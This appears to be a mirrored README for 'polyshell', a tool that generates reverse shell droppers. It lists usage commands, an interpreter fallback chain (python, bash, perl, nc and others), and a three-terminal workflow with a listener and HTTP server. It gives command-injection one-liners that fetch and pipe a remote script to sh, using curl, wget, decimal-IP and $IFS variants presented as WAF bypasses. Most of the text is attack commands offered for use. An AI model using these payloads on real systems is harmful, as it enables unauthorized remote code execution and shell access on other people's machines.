mirror of
https://github.com/Chaelsoo/polyshell
synced 2026-08-09 12:03:00 +00:00
master
polyshell
Polyglot reverse shell dropper generator. Outputs a self-contained sh script that walks through available interpreters on the target and connects back on the first one it finds.
; $(curl -s http://10.10.14.5/rev|sh)
usage
# generate dropper to ./rev
python3 revgen.py <LHOST> <LPORT>
# resolve tun0 automatically
python3 revgen.py tun0 4444
# generate and print inject one-liners and server commands
python3 revgen.py tun0 4444 --serve
# list all available payloads
python3 revgen.py tun0 4444 -l
# print a single payload by index
python3 revgen.py tun0 4444 -s 3
# base64 encode a single payload (WAF bypass)
python3 revgen.py tun0 4444 -s 3 -e b64
# url encode a single payload
python3 revgen.py tun0 4444 -s 3 -e url
# custom output filename
python3 revgen.py tun0 4444 -o r
dropper chain
The generated rev script tries interpreters in this order, stopping on the first successful connection:
python3 > python2 > bash > perl > php > ruby > socat > nc -e > busybox nc > ncat > nc mkfifo > awk
Each block uses if command -v <bin>; then ...; exit; fi so the session stays alive until you close it.
inject patterns
# standard
; $(curl -s http://10.10.14.5/rev|sh)
# decimal IP (WAF bypass, avoids dotted notation filters)
; $(curl -s http://168431137/rev|sh)
# wget variant
; $(wget -qO- http://10.10.14.5/rev|sh)
# if spaces are filtered
;$(curl$IFS-s$IFS http://10.10.14.5/rev|sh)
Convert your IP to decimal:
python3 -c "import struct,socket; print(struct.unpack('!I', socket.inet_aton('10.10.14.5'))[0])"
full workflow
# terminal 1, listener
rlwrap nc -lvnp 4444
# terminal 2, generate and serve
python3 revgen.py tun0 4444 --serve
python3 -m http.server 80
# terminal 3, inject (command injection, RCE, SSRF, etc.)
; $(curl -s http://10.10.14.5/rev|sh)
options
positional:
lhost listener IP or interface (tun0, eth0, ...)
lport listener port
optional:
-o FILE output filename (default: rev)
-e {b64,url} encode output
-s N print payload #N only
-l list all payloads
--serve print inject one-liners and server/listener commands
--serve-port PORT HTTP server port for one-liners (default: 80)
--no-color disable colors
extending
payloads.py is intentionally separate. Add entries to the list returned by build_payloads():
("mylang",
f'mylang -e "connect(\'{h}\',{p})"'),
Then add a matching if command -v block in build_dropper() to include it in the auto-chain.
notes
- Python3 is tried first since it gives a proper pty via
pty.spawn, skipping the stty upgrade step - All payloads use double-quotes externally so they survive
curl ... | shwithout quoting conflicts nc -efailure is detected before falling through to the mkfifo variant, covering both traditional and OpenBSD ncbusybox nccovers Alpine and embedded targets
Languages
Python
100%